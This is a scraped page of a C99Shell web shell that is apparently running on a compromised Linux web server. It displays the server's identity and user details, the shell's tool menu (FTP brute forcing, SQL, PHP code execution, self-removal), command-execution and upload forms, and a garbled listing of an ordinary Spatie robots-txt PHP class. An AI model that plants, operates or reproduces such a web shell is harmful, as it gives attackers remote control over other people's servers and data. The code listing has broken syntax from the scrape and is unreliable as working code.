!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/spatie/robots-txt/src/   drwxr-xr-x
Free 28.89 GB of 117.98 GB (24.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RobotsHeaders.php (2.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Robots;

use 
InvalidArgumentException;

class 
RobotsHeaders
{
    protected array 
$robotHeadersProperties = [];

    public static function 
readFrom(string $source): self
    
{
        
$content = @file_get_contents($source);

        if (
$content === false) {
            throw new 
InvalidArgumentException("Could not read from source `{$source}`");
        }

        return new 
self($http_response_header ?? []);
    }

    public static function 
create(array $headers): self
    
{
        return new 
self($headers);
    }

    public function 
__construct(array $headers)
    {
        
$this->robotHeadersProperties $this->parseHeaders($headers);
    }

    public function 
mayIndex(string $userAgent '*'): bool
    
{
        return 
$this->none($userAgent) ? false : ! $this->noindex($userAgent);
    }

    public function 
mayFollow(string $userAgent '*'): bool
    
{
        return  
$this->none($userAgent) ? false : ! $this->nofollow($userAgent);
    }

    public function 
noindex(string $userAgent '*'): bool
    
{
        return
            
$this->robotHeadersProperties[$userAgent]['noindex']
            ?? 
$this->robotHeadersProperties['*']['noindex']
            ?? 
false;
    }

    public function 
nofollow(string $userAgent '*'): bool
    
{
        return
            
$this->robotHeadersProperties[$userAgent]['nofollow']
            ?? 
$this->robotHeadersProperties['*']['nofollow']
            ?? 
false;
    }

    public function 
none(string $userAgent '*'): bool
    
{
        return 
            
$this->robotHeadersProperties[$userAgent]['none']
            ?? 
$this->robotHeadersProperties['*']['none']
            ?? 
false;
    }

    protected function 
parseHeaders(array $headers): array
    {
        
$robotHeaders $this->filterRobotHeaders($headers);

        return 
array_reduce($robotHeaders, function (array $parsedHeaders$header) {
            
$header $this->normalizeHeaders($header);

            
$headerParts explode(':'$header);

            
$userAgent count($headerParts) === 3
                
trim($headerParts[1])
                : 
'*';

            
$options end($headerParts);

            
$parsedHeaders[$userAgent] = [
                
'noindex' => strpos(strtolower($options), 'noindex') !== false,
                
'nofollow' => strpos(strtolower($options), 'nofollow') !== false,
                
'none' => strpos(strtolower($options), 'none') !== false,
            ];

            return 
$parsedHeaders;
        }, []);
    }

    protected function 
filterRobotHeaders(array $headers): array
    {
        return 
array_filter($headers, function ($header) use ($headers) {
            
$headerContent $this->normalizeHeaders($headers[$header] ?? []);

            return 
strpos(strtolower($header), 'x-robots-tag') === 0
                
|| strpos(strtolower($headerContent), 'x-robots-tag') === 0;
        }, 
ARRAY_FILTER_USE_KEY);
    }

    protected function 
normalizeHeaders($headers): string
    
{
        return 
implode(',', (array) $headers);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--